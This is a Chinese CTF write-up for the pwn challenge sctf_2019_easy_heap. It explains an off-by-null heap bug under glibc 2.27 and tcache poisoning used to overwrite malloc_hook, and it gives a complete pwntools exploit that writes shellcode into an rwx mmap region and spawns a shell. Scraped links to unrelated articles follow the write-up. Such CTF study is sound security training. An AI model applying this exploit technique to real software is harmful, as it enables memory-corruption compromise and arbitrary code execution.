题目的例行检查我就不放了

将程序放入ida中

漏洞也较为明显

可以看到 if这里多一个null ,明显的off by null 漏洞

程序在最开始的地方给了我们一个很大的空间,并且权限是rwx,所以我们可以第一时间想到往这里填shellcode然后讲malloc_hook的值修改为mmap的地址

这道题还是看了一下网上师傅们的wp(没忍住。我的错)

首先我们第一次往mmap的地方填入shellcode的时候

tcachebins 形成了这样的结构

我们可以通过修改这个chunk的fd打到任意地址写的能力(下面的double free是往malloc_hook写mmap地址的时候用)

所以这道题的思路就是:首先我们先申请四个chunk

我们将chunk0释放掉,这样里面就有了main_arena+96的地址,然后我们通过修改chunk1的内容,将chunk2实现了向上合并,我们再将chunk0,chunk1申请回来

这样就形成了这样的结构

然后我通过释放掉chunk 3 chunk 1 chunk 2 从而获得了tcachebins的那种结构,然后我们在申请 chunk1回来,就可以修改mmap的内容了

完整exp如下

from pwn import *
context(arch='amd64',os='linux')
p = process('./sctf_2019_easy_heap')
#p = remote('node4.buuoj.cn','25848')
elf = ELF('./sctf_2019_easy_heap')
libc = ELF('libc-2.27.so') def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0]) def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size)) def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content) def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index: ',str(index)) launch_gdb()
p.recvuntil('Mmap: 0x')
mmap = int(p.recv(10),16)
print('mmap-->'+hex(mmap)) add(0x410)
add(0x58)
add(0x500-0x10)
add(0x58) free(0)
edit(1,b'a'*0x50+p64(0x420+0x60))
free(2)
add(0x410)
add(0x58) free(3) free(1) free(2) add(0x58)
edit(1,p64(mmap)+b'\n')
shellcode = asm(shellcraft.sh())
add(0x58)
add(0x58)
edit(3,shellcode+b'\n') add(0x500-0x10)
free(0)
edit(1,b'a'*0x50+p64(0x60+0x420))
free(1)
free(4) add(0x410) edit(2,p8(0x30)+b'\n')
add(0x58)
add(0x58)
edit(4,p64(mmap)+b'\n')
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(0x1)) p.interactive()

sctf_2019_easy_heap(off-by-null在2.27的利用)的更多相关文章

  1. 【Android 界面效果27】利用ViewPager、Fragment、PagerTabStrip实现多页面滑动效果

    本文主要介绍如何利用ViewPager.Fragment.PagerTabStrip实现多页面滑动效果.即google play首页.新浪微博消息(at.评论.私信.广播)页面的效果.ViewPage ...

  2. 转载:oracle null处理

    (1)NULL的基础概念,NULL的操作的基本特点NULL是数据库中特有的数据类型,当一条记录的某个列为NULL,则表示这个列的值是未知的.是不确定的.既然是未知的,就有无数种的可能性.因此,NULL ...

  3. 聊一聊js中的null、undefined与NaN

    零.寒暄 翻翻自己的博客,上一篇竟然是六月26号的,说好的更新呢?回顾刚刚过去的这个七月,整天都是公司的入职培训加上自己的小论文,每天奋战到凌晨1点多,这是要挂的节奏啊!但是不论怎么说,自己的时间管理 ...

  4. null的数据类型

    Oracle的NULL代表的含义是不确定,那么不确定的东西也会有确定的数据类型吗?或者换个说法,NULL在Oracle中的默认数据类型是什么,下面就来探讨这个问题. 首先公布答案,NULL的默认类型是 ...

  5. Android 那些年,处理getActivity()为null的日子

    在日常开发中的时候,我们经常会使用ViewPager+Fragment进行视图滑动,在某些部分逻辑也许我们需要利用上下文Context(例如基本的Toast),但是由于Fragment只是衣服在Act ...

  6. ASP.NET Core的路由[3]:Router的创建者——RouteBuilder

    在<注册URL模式与HttpHandler的映射关系>演示的实例中,我们总是利用一个RouteBuilder对象来为RouterMiddleware中间件创建所需的Router对象,接下来 ...

  7. 从MySQL 5.5迁移到Mariadb 10.1.14

    从MySQL 5.5迁移到Mariadb 10.1.14 迁移计划如下: 1.备份MySQL 5.5的数据库,对指定库进行备份. 2.还原到Mariadb,然后建立复制. 3.然后就可以愿意啥时候切换 ...

  8. Java各种数据结构实现

    1.单向链表 实现思路:创建Node类,包括自己的数据和指向下一个:创建Node类,包括头尾节点,实现添加.删除.输出等功能. tips:n = n.next不破坏链表结果,而n.next = n.n ...

  9. Linux中find常见用法示例

    ·find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} \; find命令的参数: pathname: find命 ...

随机推荐

  1. python实现开闭操作

    目录: 开闭操作的作用 (一)开操作 (二)闭操作 (三)开操作完成其他任务 (1)提取水平垂直线 (2)消除干扰线 (3)提取满足要求的形状 开闭操作的作用: (一)开操作(特点作用:消除噪点--- ...

  2. [loj3247]Non-Decreasing Subsequences

    分治,考虑分治到[l,r]的区间(设$mid=(l+r)/2$),将询问分为两类:1.在左/右区间,直接递归下去:2.跨越中间,那么处理出两个数组:L[i][j]表示左区间在开头第i个位置,以数字j为 ...

  3. 基于CarbonData的电信时空大数据探索

    摘要:作为IOT最底层的无线通信网络生成大量与位置相关的数据,用于无线通信网络规划和优化,帮助电信运营商建设更好体验的精品网络,构建万物互联的信息社会. 本文分享自华为云社区<基于CarbonD ...

  4. ElasticJob分布式任务调度应用v2.5.2

    为何要使用分布式任务调度 **本人博客网站 **IT小神 www.itxiaoshen.com 演示项目源码地址** https://gitee.com/yongzhebuju/spring-task ...

  5. Linux设置默认的声卡

    首先查看自己电脑上的声卡 使用命令行查看 orangepi@orangepi3:~$ ll /proc/asound/ total 0 dr-xr-xr-x 4 root root 0 Dec 23 ...

  6. Atcoder Grand Contest 016 F - Games on DAG(状压 dp)

    洛谷题面传送门 & Atcoder 题面传送门 如何看待 tzc 补他一个月前做的题目的题解 首先根据 SG 定理先手必输当且仅当 \(\text{SG}(1)=\text{SG}(2)\). ...

  7. Codeforces 986D - Perfect Encoding(FFT+爪巴卡常题)

    题面传送门 题意:给出 \(n\),构造出序列 \(b_1,b_2,\dots,b_m\) 使得 \(\prod\limits_{i=1}^mb_i\geq n\),求 \(\sum\limits_{ ...

  8. UOJ #11 - 【UTR #1】ydc的大树(换根 dp)

    题面传送门 Emmm--这题似乎做法挺多的,那就提供一个想起来写起来都不太困难的做法吧. 首先不难想到一个时间复杂度 \(\mathcal O(n^2)\) 的做法:对于每个黑点我们以它为根求出离它距 ...

  9. Linux生产应用常见习题汇总

    1.如果想修改开机内核参数,应该修改哪个文件? C A./dev/sda1 (scsi sata sas,是第1块盘的第1个分区) B./etc/fstab (开机磁盘自动挂载配置文件) C./etc ...

  10. Linux-普通用户和root用户任意切换

    普通用户切换为root: 1.[xnlay@bogon ~]$含义:xnlay代表当前用户,bogon指的是主机名,~表示当前用户,$表示普通用户:[root@bogon ~]#root代表是超级用户 ...